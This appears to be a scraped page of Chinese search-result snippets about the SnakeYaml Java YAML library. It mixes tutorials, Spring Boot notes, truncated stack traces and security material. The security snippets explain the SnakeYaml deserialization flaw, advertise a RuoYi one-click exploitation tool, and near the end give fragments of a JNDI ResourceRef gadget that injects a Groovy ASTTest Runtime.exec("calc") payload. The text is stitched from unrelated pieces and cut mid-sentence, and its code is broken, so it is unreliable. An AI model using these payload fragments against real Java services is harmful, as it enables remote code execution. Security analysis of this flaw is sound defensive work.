Java安全之SnakeYaml反序列化分析 0x00 前言 偶然间看到SnakeYaml的资料感觉挺有意思,发现SnakeYaml也存在反序列化利用的问题。借此来分析一波。...0x01 SnakeYaml 使用 SnakeYaml 简介 SnakeYaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。...SnakeYaml 使用 导入依赖jar包 org.yaml snakeyaml</artifactId
YAML基本格式要求: YAML大小写敏感; 使用缩进代表层级关系; 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格) Java 常见用来处理 yaml 的库就是SnakeYaml...SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。...测试环境 java version “1.8.0_71” pom.xml org.yaml snakeyaml...因此控制这个类的静态代码块就有机会执行任意代码了,这部分代码实现可以参考https://github.com/artsploit/yaml-payload/ 那么SPI和SnakeYaml如何联系起来呢...反序列化分析 | nice_0e3 SnakeYAML反序列化及可利用Gadget | Y4tacker Java安全之yaml反序列化 | jiang
1.概述 本文,我们将学习如何使用SnakeYAML库将 YAML文档转换为Java对象,以及JAVA对象如何序列化为YAML文档。...2.项目设置 要在项目中使用SnakeYAML,需要添加Maven依赖项(可在此处找到最新版本): org.yaml snakeyaml 1.25 3.入口点 该YAML类是API的入口点: Yaml yaml = new...4.加载YAML文档 SnakeYAML支持从String或InputStream加载文档,我们从定义一个简单的YAML文档开始,然后将文件命名为customer.yaml: firstName: "John...com.baeldung.snakeyaml.Customer,为了避免在输出文件中使用标签名,我们可以使用库提供的 dumpAs()方法。
-- lookup parent from repository --> Provides transitive vulnerable dependency org.yaml:snakeyaml...:1.33 这段报错的意思是:snakeyaml是一个脆弱的传递依赖。...截止到 2022-12-13 日,snakeyaml 仍未修复该漏洞。 二、解决方法 解决方法也很简单,既然该依赖项不安全存在漏洞,那我们就不用它,排除它。... org.yaml snakeyaml
(StreamReader.java:218) at org.yaml.snakeyaml.reader.StreamReader.ensureEnoughData(StreamReader.java:...176) at org.yaml.snakeyaml.reader.StreamReader.ensureEnoughData(StreamReader.java:171) at org.yaml.snakeyaml.reader.StreamReader.peek...) at org.yaml.snakeyaml.scanner.ScannerImpl.fetchMoreTokens(ScannerImpl.java:287) at org.yaml.snakeyaml.scanner.ScannerImpl.checkToken...:195) at org.yaml.snakeyaml.parser.ParserImpl.peekEvent(ParserImpl.java:158) at org.yaml.snakeyaml.parser.ParserImpl.checkEvent...(ParserImpl.java:148) at org.yaml.snakeyaml.composer.Composer.checkNode(Composer.java:82) at org.yaml.snakeyaml.constructor.BaseConstructor.checkData
51 at org.yaml.snakeyaml.composer.Composer.composeMappingNode(Composer.java:230) 52 at org.yaml.snakeyaml.composer.Composer.composeNode...) 54 at org.yaml.snakeyaml.composer.Composer.getSingleNode(Composer.java:105) 55 at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData...111 at org.yaml.snakeyaml.composer.Composer.composeMappingNode(Composer.java:230) 112 at org.yaml.snakeyaml.composer.Composer.composeNode...) 114 at org.yaml.snakeyaml.composer.Composer.getSingleNode(Composer.java:105) 115 at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData...171 at org.yaml.snakeyaml.composer.Composer.composeMappingNode(Composer.java:230) 172 at org.yaml.snakeyaml.composer.Composer.composeNode
工具介绍 若依综合利用工具支持检测若依框架多个历史漏洞,并且支持一键利用(Snakeyaml命令执行漏洞、Snakeyaml命令执行漏洞绕过、JdbcTemplate漏洞、ReadFile(新)文件读取漏洞...兄弟们的支持是我更新的动力 漏洞检测: SQL注入: thymeleaf注入: snakeyaml漏洞: JDBCtamplte注入: 免责声明 由于传播、利用RuoYI综合解密工具提供的功能而造成的任何直接或者间接的后果及损失
在不同的编程语言中,都有很多三方工具可以解析 YAML 文件,而在 Java 项目可以用 SnakeYaml 进行解析,接下来就写写代码体验一下 yaml 文件的解析。... org.yaml snakeyaml 1.18...从原项目中直接拿来,为了清晰,索性只留解析 YAML 文件部分的代码,呈现给你) import org.apache.commons.collections4.MapUtils; import org.yaml.snakeyaml.Yaml...其中 SnakeYaml 类库还有很多 API 可以使用,不一一带着写代码啦,感兴趣的自行参考 SnakeYaml 官方文档,去照猫画虎敲敲吧。...https://bitbucket.org/asomov/snakeyaml/wiki/Documentation 另外,细心的你在平时研发时,有没有发现,有的项目 YAML 文件的后缀是 .yml,有的项目却是
场景:今天换了一台电脑,从git仓库拉取以前的代码后,运行时报错“org.yaml.snakeyaml.error.YAMLException: java.nio.charset.MalformedInputException
这篇主讲xml和yaml格式数据的处理,xml处理库主要有Xmldecoder和XStream;Yaml类似于XML,如常见的docker-compose.yml,其最主流的处理库是SnakeYaml,...[CDATA[ blue]]> 3、SnakeYaml 1) 序列化: Yaml 使用dump...3)原理: SnakeYaml全版本存在反序列化漏洞,当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发...SnakeYaml反序列化漏洞。...类比下Fastjson的反序列化的类方法调用,同样调用了反序列化的类的构造函数和yaml格式内容中包含的属性的setter方法,这里可以在yaml.load(s)处打断点,可跟踪SnakeYaml反序列化的调用链
org.yaml.snakeyaml.parser.ParserImpl$ParseBlockMappingValue.produce(ParserImpl.java:586) at org.yaml.snakeyaml.parser.ParserImpl.peekEvent...org.yaml.snakeyaml.composer.Composer.composeMappingChildren(Composer.java:248) at org.yaml.snakeyaml.composer.Composer.composeMappingNode...) at org.yaml.snakeyaml.composer.Composer.composeMappingNode(Composer.java:236) at org.yaml.snakeyaml.composer.Composer.composeNode...org.yaml.snakeyaml.composer.Composer.composeMappingChildren(Composer.java:248) at org.yaml.snakeyaml.composer.Composer.composeMappingNode...(Composer.java:236) at org.yaml.snakeyaml.composer.Composer.composeNode(Composer.java:162) at org.yaml.snakeyaml.composer.Composer.getNode
引入依赖 org.yaml snakeyaml 代码示例 package *; import com.simple.util.base.StringUtils; import org.yaml.snakeyaml.DumperOptions...; import org.yaml.snakeyaml.Yaml; import java.io.FileWriter; import java.io.IOException; import java.io.InputStream
该指南介绍了如何通过引入SnakeYaml包建立YamlUtil工具类,直接获取应用程序的yaml配置文件的配置信息。这种方法相对于使用@Value对象映射的方法,更加方便,封装性更好。...一、创建YamlUtil工具类 package com.util; import org.apache.log4j.Logger; import org.yaml.snakeyaml.Yaml; import
docs.spring.io/spring-boot/docs/current/reference/htmlsingle/#boot-features-external-config-loading-yaml 下面提供 将SnakeYaml...引入框架 在Maven的pom.xml文件中添加: org.yaml snakeyaml</artifactId...getId() { return id; } public void setId(String id) { this.id = id; } } 通过 SnakeYaml...参考文档 阮一峰-YAML语言教程: http://www.ruanyifeng.com/blog/2016/07/yaml.html SnakeYaml 官方文档: https://bitbucket.org.../asomov/snakeyaml/wiki/Documentation Yaml 1.2 规范: http://www.yaml.org/spec/1.2/spec.html SpringBoot-LoadingYaml
在创建一个 SpringBoot 项目时,引入的 spring-boot-starter-web 依赖间接地引入了 snakeyaml 依赖, snakeyaml 会实现对 yml配置的解析。
基础依赖 这个工具是在已有的工具上进行封装的 gradle: compile group: 'org.yaml', name: 'snakeyaml', version: '1.25' maven:... org.yaml snakeyaml 1.25
@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("calc")}) class Person{} org.yaml.snakeyaml.Yaml...#load private static ResourceRef tomcat_snakeyaml(){ ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml...ref.add(new StringRefAddr("url", "http://127.0.0.1:6666/")); 找到可用类 在上面众多的可用类中逐一进行类检索,最后可以找到org.yaml.snakeyaml.Yaml....exec(\"calc\")})class Person{}"); return ref; } private static ResourceRef tomcat_snakeyaml...(){ ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
要想使用YAML作为属性配置文件,需要将SnakeYAML库添加到classpath下,Spring Boot对SnakeYAML库也做了集成,例如使用spring-boot-starter-web或spring-boot-starter...都会自动添加SnakeYAML库到classpath下。
只要在类路径上有SnakeYAML库, SpringApplication 类就会自动支持 YAML作为属性的替代 。...如果您使用“Starters”,则 spring-boot-starter 会自动提供SnakeYAML。
领取专属 10元无门槛券
手把手带您无忧上云